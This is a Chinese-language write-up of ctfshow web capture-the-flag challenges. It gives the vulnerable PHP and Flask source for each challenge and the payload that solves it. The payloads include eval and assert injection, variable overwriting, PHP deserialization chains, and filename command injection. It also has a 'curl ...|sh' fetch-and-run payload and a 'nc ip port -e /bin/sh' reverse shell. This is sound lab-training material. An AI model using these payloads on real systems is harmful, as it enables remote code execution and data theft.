Web
签到
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
1. 控制 COOKIE
中的值
令 cookie
中传入 CTFshow-QQ群:=a
,这样 $_COOKIE['CTFshow-QQ群:']
的值就为 a
。此时代码中的 $_POST[$_COOKIE['CTFshow-QQ群:']]
就变成了 $_POST['a']
。
2. 控制 POST
中的值
令 post
中传入 a=b
,那么 $_POST['a']
的值就是 b
。此时代码中的 $_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]
就变成了 $_GET['b']
。
3. 控制 GET
中的值
令 get
通过 ?
传入 b=c
,这样 $_GET['b']
的值就是 c
。此时代码中的 $_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]]
就变成了 $_REQUEST['c']
。
4. 控制 REQUEST
中的值
令 c=1
,那么 $_REQUEST['c']
的值就是 1
。但这里我们的目的是构造一个数组,所以可以把 c
当作一个数组来处理。
5. 构造数组元素并执行命令
使 c[6][0][7][5][8][0][9][4][4]=system("ls /")
,这里的 c
实际上就是 $_REQUEST['c']
,通过这种方式我们把 system("ls /")
赋值给了数组 $_REQUEST['c']
的特定元素 [6][0][7][5][8][0][9][4][4]
。
system` 是 PHP 中的一个函数,它的作用是执行系统命令。`system("ls /")` 表示在服务器端执行 `ls /` 命令,该命令的作用是列出根目录下的所有文件和文件夹。通过执行这个命令,我们可以找到目标文件 `f1agaa
?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");
post: a=b
cookie:CTFshow-QQ群:=a
c0me_t0_s1gn
F12有一半flag,然后按流程走,控制台输入命令,得到另一半
我的眼里只有$
<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
变量覆盖题
extract ()
: 从数组中将变量导入到当前的符号表
extract($_POST);
:将post上来的数据直接都解析成变量的形式,在代码中可以直接使用
一共36个$,最后一个$_可以作为变量开头,然后以此连接,最后达到覆盖的效果,使得最后能命令执行
import string
code = "system('ls /');"
s = string.ascii_letters # 获取所有大小写英文字母
post = "_=a&"
for i in range(34):
post += s[i] + "=" + s[i + 1] + "&"
post += s[i + 1] + "=" + code
print(post)
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /');
后面命令自己改吧,刚开始还有点不明白为什么用_=a开头,上面就解释了
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
assert()
:会将字符串转成PHP代码执行
代码审计,要求num=114514而且num==1919810
可以截断
?num=114514);//后面的就注释掉了(转成php代码了嘛,当然就用//注释哩)
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
把闭合符号注释掉了,那就用运算符,毕竟是弱比较
?num=114514%2b1805296(%2b是url编码的+,最一开始我还傻傻的直接用+)
TapTapTap
是一个小游戏,查看js代码发现可以字符串
在/js/habibiScript.js中找到
base64解码,给到了Your flag is in /secret_path_you_do_not_know/secretfile.txt
访问得到flag
Webshell
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
简单的反序列化
<?php
class Webshell {
public $cmd = 'cat f*';
}
$a = new Webshell();
echo serialize($a);
?>
化零为整
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
对长度进行了限制,但是自增传参,利用拼接,记得url编码
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B(拼接url编码后的大牛)
无一幸免
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}
利用数组整型溢出绕过赋值式永恒判断
?0=2147483647
// 溢出会使得 `$sum` 变为一个异常值,如负数或其他随机值
PHP 在处理整型溢出时会根据平台和编译选项可能产生不同的结果。在 32-bit 系统上,溢出会变成负数;在 64-bit 系统上则可能会变成一个异常的正整数值
无一幸免_FIXED
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
?>
在于绕过 $arr[]=1 这一个恒真条件,这条语句的意思是:在数组后面添加一个元素1 64位有符号数,能表示最大数为: 2^63-1 = 9223372036854775807
?0=9223372036854775807
即可,这样数组的下一个元素下表越界了,则条件 $arr[]=1
为假
传说之下(雾)
又是游戏,查看js代码,得2077分才能获得flag
game.js中看到定义了Game.score
控制器里修改
Game.score=2077
然后开始游戏,随便多得一分就能拿到flag
easyPytHon_P
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')
cmd=awk¶m={system("curl https://your-shell.com/ip:port|sh")}
遍地飘零
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
$$key=$$value变量覆盖
foreach遍历$_GET=$key
,所以$_GET
=$value
(foreach($arry as $key => $value){}的作用是将数组arry的键值分离,$key为键,$value为值)
而且$flag是存在的
?_GET=flag
茶歇区
要求达到一定分数才能得到flag
emm,后面看了源代码,发现这些买的东西都是用post方法传的,并且都有对应的参数
就好办的,咱们自己搞,post传两次
a=1&b=0&c=0&d=0&e=999999999999999999999990&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81
小舔田?
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
简单的pop
<?php
class Moon{
public $name;
}
class Ion_Fan_Princess{
public $nickname="小甜甜";
}
$a = new Moon();
$a->name= new Ion_Fan_Princess();
echo serialize($a);
//pop:__wakeup->name->new ifp->nickname->小甜甜
LSB探姬
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
except:
data={"code":1,"message":"file upload error!"}
return jsonify(data)
else:
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
关键:
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
这里可以进行 python 命令执行,只需要改一个文件名即可
1.png;cat flag.py利用;做命令注入
算力超群
对计算机抓包,或者直接看题目源码
# -*- coding: utf-8 -*-
# @Time : 2022/11/2
# @Author : 探姬
# @Forkfrom:https://github.com/helloflask/calculator
import re
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
@app.route('/_calculate')
def calculate():
a = request.args.get('number1', '0')
operator = request.args.get('operator', '+')
b = request.args.get('number2', '0')
m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)
if m is None or n is None or operator not in '+-*/':
return jsonify(result='Error!')
if operator == '/':
result = eval(a + operator + str(float(b)))
else:
result = eval(a + operator + b)
return jsonify(result=result)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/hint')
def hint():
return render_template('hint.html')
if __name__ == '__main__':
app.run()
python的flask框架,可能存在命令注入
利用os.system()
,利用__import__
导入os
模块
__import__('os').system('')
测试发现计算机的number2处可以插入代码,反弹shell得到flag
__import__('os').system('nc ip port -e /bin/sh')
算力升级
简单的pyjail沙箱逃逸的题,暂时没搞,先留个坑,马上填